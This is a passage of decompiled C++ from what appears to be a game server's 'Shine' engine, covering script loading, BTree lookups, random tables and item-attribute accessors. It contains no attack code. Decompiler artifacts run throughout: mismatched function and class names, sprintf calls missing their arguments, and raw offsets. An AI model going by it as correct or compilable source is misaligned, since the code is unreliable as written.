-1; memset((char *)v7 + 4, 0, 0x400u); } else { v8 = 0; } v5->bt_subtree[(unsigned __int8)*v3] = (BTree *)v8; v6 = v5->bt_subtree[(unsigned __int8)*v3]; if ( !v6 ) break; } ++v3; v5 = v6; v4 = *v3; if ( !*v3 ) goto LABEL_8; } result = 0; } else { LABEL_8: v5->bt_id = id; result = 1; } return result; } //----- (00555A50) -------------------------------------------------------- unsigned int __thiscall BTree::operator__(BTree *this, const char *string) { const char *v2; // edx@1 const char v3; // al@1 BTree *v4; // eax@2 unsigned int result; // eax@4 v2 = string; v3 = *string; if ( *string ) { while ( 1 ) { v4 = this->bt_subtree[(unsigned __int8)v3]; if ( !v4 ) break; ++v2; this = v4; v3 = *v2; if ( !*v2 ) goto LABEL_4; } result = -1; } else { LABEL_4: result = this->bt_id; } return result; } //----- (00555A90) -------------------------------------------------------- unsigned int __thiscall BTree::operator__(BTree *this, const char *string) { unsigned int result; // eax@2 BTree *v3; // ecx@3 if ( *string ) { v3 = this->bt_subtree[(unsigned __int8)*string]; if ( v3 ) result = BTree::operator__(v3, string + 1); else result = -1; } else { result = this->bt_id; } return result; } //----- (00555AC0) -------------------------------------------------------- void __thiscall ShineScript::ss_Load(ShineScript *this, Name4 *world, const char *scriptname) { int v3; // edx@1 OptionReader *v4; // esi@1 int v5; // ecx@1 int v6; // edx@1 int v7; // edi@3 char *v8; // eax@3 ORToken v9; // [sp-18h] [bp-ECh]@5 int v10; // [sp-14h] [bp-E8h]@5 int v11; // [sp-10h] [bp-E4h]@5 int v12; // [sp-Ch] [bp-E0h]@5 int v13; // [sp-8h] [bp-DCh]@1 char *v14; // [sp-4h] [bp-D8h]@5 ORToken *v15; // [sp+Ch] [bp-C8h]@5 char buf[64]; // [sp+10h] [bp-C4h]@1 char path[128]; // [sp+50h] [bp-84h]@1 v3 = *(_DWORD *)&world->n4_name[4]; v4 = (OptionReader *)this; *(_DWORD *)buf = *(_DWORD *)&world->n4_name[0]; v5 = *(_DWORD *)&world->n4_name[8]; *(_DWORD *)&buf[4] = v3; v6 = *(_DWORD *)&world->n4_name[12]; v13 = (int)buf; *(_DWORD *)&buf[8] = v5; *(_DWORD *)&buf[12] = v6; buf[16] = 0; sprintf(path, "../9Data/Shine/World/%s/Script/%s.txt"); if ( !OptionReader::or_Read(v4, path) ) { sprintf(path, "../9Data/Shine/Script/%s.txt"); if ( !OptionReader::or_Read(v4, path) ) { AssertClass::ac_AssertFail(&shineassert, "ShineScript::ss_Load : Error in Script read", path); v7 = OptionReader::or_ErrorLine(v4); v8 = OptionReader::or_ErrorString(v4); AssertClass::ac_AssertFail(&shineassert, v8, v7); ShineExit("ShineScript::ss_Load"); } } v14 = "ScrIndex"; v15 = &v9; v13 = 0; v12 = 0; v11 = 0; v10 = 0; *(_DWORD *)&v9.ort_Name[0] = 0; strncpy(v9.ort_Name, "Script", 0x14u); if ( !OptionReader::or_MakePrimaryKey(v4, v9, v14) ) { AssertClass::ac_AssertFail(&shineassert, "ShineScript::ss_Load : Error in indexing", 0); ShineExit("ShineScript::ss_Load"); } } //----- (00555C00) -------------------------------------------------------- void __thiscall KQScriptManager::KQScriptManager(KQScriptManager *this) { KQScriptManager *v1; // esi@1 v1 = this; BTree::BTree(&this->kqsm_BTree); _eh_vector_constructor_iterator_( v1->kqsm_Script, 0x10854u, 64, (void (__thiscall *)(void *))RecallPointTable::RecallPointTable, (void (__thiscall *)(void *))ShineCommonParameter::_ShineCommonParameter); } //----- (00555C60) -------------------------------------------------------- void __thiscall KQScriptManager::_KQScriptManager(KQScriptManager *this) { BTree *v1; // esi@1 v1 = (BTree *)this; _eh_vector_destructor_iterator_( this->kqsm_Script, 0x10854u, 64, (void (__thiscall *)(void *))ShineCommonParameter::_ShineCommonParameter); BTree::_BTree(v1); } //----- (00555CC0) -------------------------------------------------------- void __thiscall KQScriptManager::kqsm_Load(KQScriptManager *this, Name4 *world, char *name) { KQScriptManager *v3; // esi@1 v3 = this; if ( this->kqsm_Number >= 0x40 ) { AssertClass::ac_AssertFail(&shineassert, "Too many KQ Script", 0); ShineExit("KQScriptManager::kqsm_Load"); } ShineScript::ss_Load(&this->kqsm_Script[this->kqsm_Number], world, name); BTree::bt_Insert(&v3->kqsm_BTree, name, v3->kqsm_Number++); } //----- (00555D40) -------------------------------------------------------- ShineScript *__thiscall KQScriptManager::operator__(KQScriptManager *this, char *name) { KQScriptManager *v2; // esi@1 unsigned int v3; // eax@1 ShineScript *result; // eax@2 int v5; // ecx@3 v2 = this; v3 = BTree::operator__(&this->kqsm_BTree, name); if ( v3 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "Invalid script name", name); result = 0; } else { v5 = v2->kqsm_Number; if ( v3 < v5 ) { result = &v2->kqsm_Script[v3]; } else { AssertClass::ac_AssertFail(&shineassert, "Invalid script name(Too many sub", v5); result = 0; } } return result; } //----- (00555DB0) -------------------------------------------------------- void __thiscall KQScriptManager::kqsm_Load(KQScriptManager *this, Name4 *world) { KQScriptManager *v2; // ebp@1 char v3; // bl@1 int v4; // eax@1 int i; // ebx@4 void *v6; // esi@5 ORToken v7; // [sp-34h] [bp-108A0h]@5 int v8; // [sp-30h] [bp-1089Ch]@5 int v9; // [sp-2Ch] [bp-10898h]@5 int v10; // [sp-28h] [bp-10894h]@5 int v11; // [sp-24h] [bp-10890h]@5 char *v12; // [sp-20h] [bp-1088Ch]@5 int v13; // [sp-1Ch] [bp-10888h]@5 int v14; // [sp-18h] [bp-10884h]@5 int *v15; // [sp-14h] [bp-10880h]@5 int type; // [sp+0h] [bp-1086Ch]@5 ORToken *v17; // [sp+4h] [bp-10868h]@5 OptionReader or; // [sp+8h] [bp-10864h]@1 unsigned int cookie; // [sp+1085Ch] [bp-10h]@13 int v20; // [sp+10868h] [bp-4h]@1 v2 = this; OptionReader::OptionReader(&or); v20 = 0; v3 = OptionReader::or_Read(&or, "../9Data/Shine/World/PineScript.txt"); v4 = OptionReader::or_ErrorLine(&or); if ( !v3 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_LoadScripts : Option read error", v4); ShineExit("KQScriptManager::kqsm_Load"); } for ( i = 0; ; ++i ) { v15 = &type; v14 = i; v13 = 0; v12 = byte_5A62A6; v17 = &v7; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)&v7.ort_Name[0] = 0; strncpy(v7.ort_Name, "DialogFile", 0x14u); v6 = OptionReader::or_Select(&or, "ScriptName", v7, v12, v13, v14, v15); if ( !v6 ) break; if ( type != 2 ) { AssertClass::ac_AssertFail(&shineassert, "ScenarioBookShelf::sbs_LoadScripts : Type error", type); ShineExit("KQScriptManager::kqsm_Load"); } KQScriptManager::kqsm_Load(v2, world, (char *)v6); } if ( i <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "KQScriptManager::kqsm_Load : No Script", i); ShineExit("KQScriptManager::kqsm_Load"); } v20 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (00555F20) -------------------------------------------------------- int __thiscall RandomBox::rb_largerandom(RandomBox *this, int rnd) { int v2; // eax@1 signed int i; // esi@1 v2 = rnd; for ( i = 1; v2 > 100; i *= 2 ) v2 /= 2; return i * RandomBox::operator__(&rndbox, v2); } //----- (00555F60) -------------------------------------------------------- void __thiscall RandomSlot::RandomSlot(RandomSlot *this) { this->rs_point.mask = 16383; this->rs_point.value = 0; } //----- (00555F80) -------------------------------------------------------- void __thiscall RandomSlot::rs_Init(RandomSlot *this, int limit) { RandomSlot *v2; // esi@1 signed int v3; // ecx@1 signed int v4; // edi@1 signed int v5; // edi@3 unsigned __int64 v6; // qax@4 unsigned __int16 v7; // cx@4 signed int v8; // eax@5 v2 = this; v3 = 0; v4 = 0; do { v2->rs_slot[v3++] = v4 / 16384; v4 += limit; } while ( v3 < 16384 ); v5 = 0; do { v6 = (unsigned __int64)((double)rand() * 0.500015259254738); v7 = v2->rs_slot[v5]; v2->rs_slot[v5++] = v2->rs_slot[v6]; v2->rs_slot[v6] = v7; } while ( v5 < 16384 ); v8 = 0; do { if ( v2->rs_slot[v8] >= limit ) v2->rs_slot[v8] = 0; ++v8; } while ( v8 < 16384 ); } //----- (00556000) -------------------------------------------------------- void __thiscall RandomBox::RandomBox(RandomBox *this) { RandomBox *v1; // edi@1 RandomSlot *v2; // ebp@1 signed int v3; // esi@1 int v4; // eax@1 RandomSlot *v5; // ebx@1 signed int v6; // esi@3 int tmstr; // [sp+4h] [bp-10h]@1 int v8; // [sp+10h] [bp-4h]@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x8008u, 101, (void (__thiscall *)(void *))RandomSlot::RandomSlot, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = v1->rb_thausend; v3 = 0; v8 = 0; _eh_vector_constructor_iterator_( v1->rb_thausend, 0x8008u, 4, (void (__thiscall *)(void *))RandomSlot::RandomSlot, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v4 = time(&tmstr); srand(v4); v5 = (RandomSlot *)v1; do { RandomSlot::rs_Init(v5, v3++); ++v5; } while ( v3 < 101 ); v6 = 4; do { RandomSlot::rs_Init(v2, 1000); ++v2; --v6; } while ( v6 ); } //----- (005560C0) -------------------------------------------------------- void __thiscall RandomBox::_RandomBox(RandomBox *this) { void *v1; // esi@1 v1 = this; _eh_vector_destructor_iterator_( this->rb_thausend, 0x8008u, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); _eh_vector_destructor_iterator_( v1, 0x8008u, 101, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00556130) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x11Eu, 0x34u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (005561E0) -------------------------------------------------------- void __thiscall MobResistTable::MobResistTable(MobResistTable *this) { MobResistTable *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->mrt_BinData.baseclass_0); memset(&v1->mrt_BinData.bdb_defaultblock, 0, sizeof(v1->mrt_BinData.bdb_defaultblock)); } //----- (00556200) -------------------------------------------------------- void __thiscall MobResistTable::mrt_Load(MobResistTable *this) { BinaryDataBox::bdb_ReadData(&this->mrt_BinData, "../9Data/Shine/MobResist.shn"); } //----- (00556210) -------------------------------------------------------- MobResist *__thiscall MobResistTable::operator__(MobResistTable *this, unsigned __int16 idx) { unsigned int v2; // edx@1 MobResist *result; // eax@2 v2 = this->mrt_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; if ( idx < (signed int)v2 ) { if ( idx < v2 ) result = (MobResist *)CDataReader::GetRecord(&this->mrt_BinData.baseclass_0.baseclass_0, idx); else result = &this->mrt_BinData.bdb_defaultblock; } else { result = 0; } return result; } //----- (00556240) -------------------------------------------------------- unsigned __int16 __thiscall MobResistTable::operator__(MobResistTable *this, char *index) { MobResistTable *v2; // ebp@1 unsigned int v3; // eax@1 unsigned int v4; // edi@1 bool v5; // cf@2 const char *v6; // eax@4 signed int v7; // eax@7 v2 = this; v3 = this->mrt_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; if ( (signed int)v3 <= 0 ) { LABEL_8: AssertClass::ac_AssertFail(&shineassert, "MobResistTable::operator [] : Invalid index", index); ShineExit("MobResistTable::operator []"); } v5 = v3 > 0; while ( 1 ) { v6 = (const char *)(v5 ? CDataReader::GetRecord(&v2->mrt_BinData.baseclass_0.baseclass_0, v4) : &v2->mrt_BinData.bdb_defaultblock); if ( !strcmp(v6, index) ) return v4; v7 = v2->mrt_BinData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++v4; v5 = v4 < v7; if ( (signed int)v4 >= v7 ) goto LABEL_8; } } //----- (005562E0) -------------------------------------------------------- FieldOption::FieldAttr *__thiscall FieldOption::fo_GetFieldAttr(FieldOption *this, char *mapname) { OptionReader *v2; // edi@1 int v3; // esi@1 char v4; // al@2 int v5; // esi@3 FieldOption::FieldAttr *result; // eax@3 ORToken v7; // [sp-20h] [bp-74h]@5 int v8; // [sp-1Ch] [bp-70h]@5 int v9; // [sp-18h] [bp-6Ch]@5 int v10; // [sp-14h] [bp-68h]@5 int v11; // [sp-10h] [bp-64h]@5 char *v12; // [sp-Ch] [bp-60h]@5 char *v13; // [sp-8h] [bp-5Ch]@5 int v14; // [sp-4h] [bp-58h]@5 ORToken *v15; // [sp+Ch] [bp-48h]@5 char map[64]; // [sp+10h] [bp-44h]@1 v2 = (OptionReader *)this; strncpy(map, mapname, 0x3Fu); v3 = (int)map; do v4 = *(_BYTE *)v3++; while ( v4 ); v5 = v3 - (_DWORD)&map[1]; result = 0; do { if ( v5 <= 0 ) break; v14 = 0; v13 = map; v12 = "MapIDClient"; v15 = &v7; map[v5] = 0; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)&v7.ort_Name[0] = 0; strncpy(v7.ort_Name, "FieldList", 0x14u); result = (FieldOption::FieldAttr *)OptionReader::or_SelectFrom(v2, v7, v12, v13, v14); --v5; } while ( !result ); return result; } //----- (00556380) -------------------------------------------------------- int __thiscall FieldOption::fo_GetMechineNumber(FieldOption *this, char *servergroup, unsigned int serial, int mymachine) { OptionReader *v4; // esi@1 void *v5; // eax@1 int result; // eax@3 ORToken v7; // [sp-24h] [bp-2Ch]@1 int v8; // [sp-20h] [bp-28h]@1 int v9; // [sp-1Ch] [bp-24h]@1 int v10; // [sp-18h] [bp-20h]@1 int v11; // [sp-14h] [bp-1Ch]@1 char *v12; // [sp-10h] [bp-18h]@1 int v13; // [sp-Ch] [bp-14h]@1 int v14; // [sp-8h] [bp-10h]@1 int *v15; // [sp-4h] [bp-Ch]@1 v15 = (int *)&serial; v14 = 0; v4 = (OptionReader *)this; v13 = serial; v12 = "Serial"; serial = (unsigned int)&v7; v11 = 0; v10 = 0; v9 = 0; v8 = 0; *(_DWORD *)&v7.ort_Name[0] = 0; strncpy(v7.ort_Name, "FieldList", 0x14u); v5 = OptionReader::or_Select(v4, servergroup, v7, v12, v13, v14, v15); if ( v5 && serial == 3 ) result = *(_BYTE *)v5; else result = -1; return result; } //----- (005563F0) -------------------------------------------------------- void __thiscall FieldOption::fo_Store(FieldOption *this, FieldOption::FieldAttr *fldtemplet) { int v2; // eax@1 v2 = this->fo_Number; if ( v2 < 512 ) { this->fo_Array[v2] = fldtemplet; ++this->fo_Number; } } //----- (00556420) -------------------------------------------------------- ItemAttributeClass *__thiscall ItemAttributeClassContainer::operator__(ItemAttributeClassContainer *this, unsigned __int16 itmid) { ItemAttributeClass *v2; // esi@1 ItemDataBox::ItemDataBoxIndex *v3; // eax@1 ItemInfo *v4; // eax@2 v2 = (ItemAttributeClass *)this; v3 = ItemDataBox::operator__(&itemdatabox, itmid); if ( !v3 ) return v2; v4 = v3->data; if ( v4->Class >= 28 ) { AssertClass::ac_AssertFail(&shineassert, "ItemAttributeClassContainer::operator [] : Invalid item class", v4->Class); return v2; } return (ItemAttributeClass *)v2[v4->Class + 29].vfptr; } //----- (00556470) -------------------------------------------------------- int __thiscall ItemAttributeClass::iac_ItemClass(ItemAttributeClass *this) { return 255; } //----- (00556480) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_ByteLot::iac_GetLot(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm) { return itm->itemattr.blot.lot; } //----- (00556490) -------------------------------------------------------- void __thiscall ItemAttrCls_ByteLot::iac_SetLot(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm, unsigned int lot) { itm->itemattr.blot.lot = lot; } //----- (005564A0) -------------------------------------------------------- int __thiscall ItemAttrCls_WordLot::iac_GetLot(ItemAttrCls_KQStep *this, SHINE_ITEM_STRUCT *itm) { return *(_WORD *)&itm->itemattr.blot.lot; } //----- (005564B0) -------------------------------------------------------- void __thiscall ItemAttrCls_QuestLot::iac_SetLot(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, unsigned int lot) { *(_WORD *)&itm->itemattr.blot.lot = lot; } //----- (005564C0) -------------------------------------------------------- int __thiscall std::codecvt_base::do_encoding(ORFieldIndex *this) { return 1; } //----- (005564D0) -------------------------------------------------------- void __thiscall ItemAttrCls_Amount::iac_SetAmount(ItemAttrCls_Amount *this, SHINE_ITEM_STRUCT *itm, int amount) { *(_DWORD *)&itm->itemattr.blot.lot = amount; } //----- (005564E0) -------------------------------------------------------- int __thiscall CharClassFighter::cc_PromoteClass(ORFieldString *this) { return 2; } //----- (005564F0) -------------------------------------------------------- int __thiscall ORColumnHeaderByte::orch_FieldType(ORFieldByte *this) { return 3; } //----- (00556500) -------------------------------------------------------- int __thiscall CharClassGladiator::cc_PromoteClass(ORFieldWord *this) { return 4; } //----- (00556510) -------------------------------------------------------- int __thiscall ItemAttrCls_Amulet::iac_Getupgrade(ItemAttrCls_Amulet *this, ItemTotalInformation *itm) { return itm->iti_itemstruct.itemattr.amulet.upgrade; } //----- (00556520) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Weapon::iac_GetDeteleDateTime(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)&itm->itemattr.amulet.option.optionlist[7].itemoption_value; } //----- (00556530) -------------------------------------------------------- int __thiscall CharClassKnight::cc_PromoteClass(ORFieldDwrd *this) { return 5; } //----- (00556540) -------------------------------------------------------- int __thiscall ItemAttrCls_Armor::iac_Getupgrade(ItemAttrCls_Boot *this, ItemTotalInformation *itm) { return itm->iti_itemstruct.itemattr.blot.lot; } //----- (00556550) -------------------------------------------------------- int __thiscall CharClassCleric::cc_ClassType(ItemAttrCls_Armor *this) { return 6; } //----- (00556560) -------------------------------------------------------- int __thiscall CharClassHighCleric::cc_ClassType(ItemAttrCls_Shield *this) { return 7; } //----- (00556570) -------------------------------------------------------- int __thiscall CharClassPaladin::cc_ClassType(ItemAttrCls_Boot *this) { return 8; } //----- (00556580) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Furniture::iac_GetDeteleDateTime(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)((char *)&itm->itemattr.dlot.lot + 3); } //----- (00556590) -------------------------------------------------------- int __thiscall ItemAttrCls_Furniture::iac_ItemClass(ItemAttrCls_Furniture *this) { return 9; } //----- (005565A0) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Furniture::iac_GetEndureEndTime(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)((char *)&itm->itemattr.amulet.option.optionlist[1].itemoption_value + 1); } //----- (005565B0) -------------------------------------------------------- int __thiscall CharClassGuardian::cc_ClassType(ItemAttrCls_Decoration *this) { return 10; } //----- (005565C0) -------------------------------------------------------- int __thiscall ItemAttrCls_SkillScroll::iac_ItemClass(ItemAttrCls_SkillScroll *this) { return 11; } //----- (005565D0) -------------------------------------------------------- int __thiscall ItemAttrCls_RecallScroll::iac_ItemClass(ItemAttrCls_RecallScroll *this) { return 12; } //----- (005565E0) -------------------------------------------------------- int __thiscall CharClassHawkArcher::cc_PromoteClass(ItemAttrCls_BindItem *this) { return 13; } //----- (005565F0) -------------------------------------------------------- int __thiscall CharClassSharpShooter::cc_ClassType(ItemAttrCls_UpSource *this) { return 14; } //----- (00556600) -------------------------------------------------------- int __thiscall CharClassRanger::cc_ClassType(ItemAttrCls_ItemChest *this) { return 15; } //----- (00556610) -------------------------------------------------------- ShineItemAttr_ItemChest *__thiscall ItemAttrCls_ItemChest::iac_Getitemchest(ItemAttrCls_ItemChest *this, ItemTotalInformation *itm) { return (ShineItemAttr_ItemChest *)&itm->iti_itemstruct.itemattr; } //----- (00556620) -------------------------------------------------------- int __thiscall ItemAttrCls_WeaponTitlaLicence::iac_ItemClass(ItemAttrCls_WeaponTitlaLicence *this) { return 16; } //----- (00556630) -------------------------------------------------------- int __thiscall CharClassMage::cc_PromoteClass(ItemAttrCls_KingdomQuestItem *this) { return 17; } //----- (00556640) -------------------------------------------------------- int __thiscall CharClassWizMage::cc_PromoteClass(ItemAttrCls_MiniHouseSkin *this) { return 18; } //----- (00556650) -------------------------------------------------------- int __thiscall CharClassWarrock::cc_ClassType(ItemAttrCls_UpgradeRedGem *this) { return 19; } //----- (00556660) -------------------------------------------------------- int __thiscall CharClassWizard::cc_PromoteClass(ItemAttrCls_UpgradeBlueGem *this) { return 20; } //----- (00556670) -------------------------------------------------------- int __thiscall ItemAttrCls_KQStep::iac_ItemClass(ItemAttrCls_KQStep *this) { return 21; } //----- (00556680) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Riding::iac_GetDeteleDateTime(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)((char *)&itm->itemattr.dlot.lot + 2); } //----- (00556690) -------------------------------------------------------- ShineDateTime *__thiscall ItemAttrCls_Amulet::iac_GetDeteleDateTime(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm) { return (ShineDateTime *)&itm->itemattr; } //----- (005566A0) -------------------------------------------------------- void __thiscall ItemAttributeClass::iac_SetEndTime(ItemAttributeClass *this, ShineDateTime *deletetime, int hour, tm *curtime, int curhour) { int v5; // edx@3 tm timestr; // [sp+0h] [bp-24h]@3 if ( hour > 0 ) { memcpy((void *)×tr, curtime, sizeof(timestr)); timestr.tm_hour = curhour + hour; mktime(×tr); v5 = timestr.tm_min; LOBYTE(deletetime->_bf0) = LOBYTE(timestr.tm_year) - 100; deletetime->_bf0 = deletetime->_bf0 & 0xFF | ((LOWORD(timestr.tm_mon) + 1) << 8) & 0x1F00 | ((timestr.tm_mday & 0x3F | ((timestr.tm_hour & 0x3F | (v5 << 6)) << 6)) << 13); } else { deletetime->_bf0 = 1992027391; } } //----- (00556740) -------------------------------------------------------- int __thiscall ItemAttrCls_DwrdLot::iac_GetLot(ItemAttrCls_Amount *this, SHINE_ITEM_STRUCT *itm) { return *(_DWORD *)&itm->itemattr.blot.lot; } //----- (00556750) -------------------------------------------------------- ItemOptionStorage *__thiscall ItemAttrCls_Amulet::iac_GetItemOptionStruct(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm) { return &itm->itemattr.amulet.option; } //----- (00556760) -------------------------------------------------------- ItemOptionStorage *__thiscall ItemAttrCls_Weapon::iac_GetItemOptionStruct(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm) { return &itm->itemattr.weapon.option; } //----- (00556770) -------------------------------------------------------- ItemOptionStorage *__thiscall ItemAttrCls_Boot::iac_GetItemOptionStruct(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm) { return (ItemOptionStorage *)itm->itemattr.amulet.upgradeopton; } //----- (00556780) -------------------------------------------------------- unsigned __int16 __thiscall ItemAttributeClass::iac_GetItemOptionUpgrade(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm, char Type) { return 0; } //----- (00556790) -------------------------------------------------------- unsigned __int16 __thiscall ItemAttrCls_Amulet::iac_GetItemOptionUpgrade(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char Type) { unsigned __int16 result; // ax@2 if ( (unsigned __int8)Type >= 5u ) result = 0; else result = itm->itemattr.amulet.upgradeopton[(unsigned __int8)Type]; return result; } //----- (005567B0) -------------------------------------------------------- char *__thiscall ItemAttrCls_ByteLot::iac_fill2buffer(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *buffer = itm->itemattr.blot.lot; return buffer + 1; } //----- (005567D0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Amount::iac_fill2buffer(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_DWORD *)buffer = *(_DWORD *)&itm->itemattr.blot.lot; return buffer + 4; } //----- (005567F0) -------------------------------------------------------- char *__thiscall ItemAttrCls_QuestLot::iac_fill2buffer(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_WORD *)buffer = *(_WORD *)&itm->itemattr.blot.lot; return buffer + 2; } //----- (00556810) -------------------------------------------------------- char *__thiscall ItemAttrCls_Furniture::iac_fill2buffer(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x24u); return buffer + 36; } //----- (00556830) -------------------------------------------------------- char *__thiscall ItemAttrCls_SkillScroll::iac_fill2buffer(ItemAttrCls_WeaponTitlaLicence *this, SHINE_ITEM_STRUCT *itm, char *buffer) { return buffer + 1; } //----- (00556840) -------------------------------------------------------- char *__thiscall ItemAttrCls_BindItem::iac_fill2buffer(ItemAttrCls_BindItem *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x65u); return &buffer[10 * (unsigned __int8)*buffer + 1]; } //----- (00556870) -------------------------------------------------------- char *__thiscall ItemAttrCls_ItemChest::iac_fill2buffer(ItemAttrCls_ItemChest *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(buffer, &itm->itemattr, 0x41u); return &buffer[8 * (*buffer & 0xF) + 1]; } //----- (005568A0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Riding::iac_fill2buffer(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_QWORD *)buffer = *(_QWORD *)&itm->itemattr.blot.lot; return buffer + 8; } //----- (005568C0) -------------------------------------------------------- char *__thiscall ItemAttributeClass::iac_fill2struct(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm, char *buffer) { return buffer; } //----- (005568D0) -------------------------------------------------------- char *__thiscall ItemAttrCls_ByteLot::iac_fill2struct(ItemAttrCls_ByteLot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { itm->itemattr.blot.lot = *buffer; return buffer + 1; } //----- (005568F0) -------------------------------------------------------- char *__thiscall ItemAttrCls_QuestLot::iac_fill2struct(ItemAttrCls_QuestLot *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_WORD *)&itm->itemattr.blot.lot = *(_WORD *)buffer; return buffer + 2; } //----- (00556910) -------------------------------------------------------- char *__thiscall ItemAttrCls_Decoration::iac_fill2struct(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_DWORD *)&itm->itemattr.blot.lot = *(_DWORD *)buffer; return buffer + 4; } //----- (00556930) -------------------------------------------------------- char *__thiscall ItemAttrCls_Furniture::iac_fill2struct(ItemAttrCls_Furniture *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, 0x24u); return buffer + 36; } //----- (00556950) -------------------------------------------------------- char *__thiscall ItemAttrCls_BindItem::iac_fill2struct(ItemAttrCls_BindItem *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, sizeof(itm->itemattr)); return &buffer[10 * (unsigned __int8)*buffer + 1]; } //----- (00556980) -------------------------------------------------------- char *__thiscall ItemAttrCls_ItemChest::iac_fill2struct(ItemAttrCls_ItemChest *this, SHINE_ITEM_STRUCT *itm, char *buffer) { memcpy(&itm->itemattr, buffer, 0x41u); return &buffer[8 * (*buffer & 0xF) + 1]; } //----- (005569B0) -------------------------------------------------------- char *__thiscall ItemAttrCls_Riding::iac_fill2struct(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm, char *buffer) { *(_QWORD *)&itm->itemattr.blot.lot = *(_QWORD *)buffer; return buffer + 8; } //----- (005569D0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_WordLot::iac_GetAttrSize(ItemAttrCls_QuestLot *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 2; } //----- (005569E0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_DwrdLot::iac_GetAttrSize(ItemAttrCls_ActionItem *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 4; } //----- (005569F0) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Furniture::iac_GetAttrSize(ItemAttrCls_Furniture *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 36; } //----- (00556A00) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_BindItem::iac_GetAttrSize(ItemAttrCls_BindItem *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 10 * itmattr->blot.lot + 1; } //----- (00556A20) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_ItemChest::iac_GetAttrSize(ItemAttrCls_ItemChest *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 65; } //----- (00556A30) -------------------------------------------------------- unsigned int __thiscall ItemAttrCls_Riding::iac_GetAttrSize(ItemAttrCls_Riding *this, SHINE_ITEM_ATTRIBUTE *itmattr) { return 8; } //----- (00556A40) -------------------------------------------------------- void __thiscall ItemAttributeClass::iac_Setoption(ItemAttributeClass *this, ItemOptionStorage *option, char *arg) { char v3; // al@1 ItemOptionStorage *v4; // edi@3 unsigned int v5; // esi@3 __int16 v6; // dx@5 int v7; // eax@5 v3 = arg[2]; if ( v3 == 73 || v3 == 105 ) { option->fixed.optionnumber.str._bf0 |= 1u; } else { v4 = option; v5 = (unsigned int)option->fixed.optionnumber.str._bf0 >> 1; if ( (signed int)v5 < 8 ) { if ( 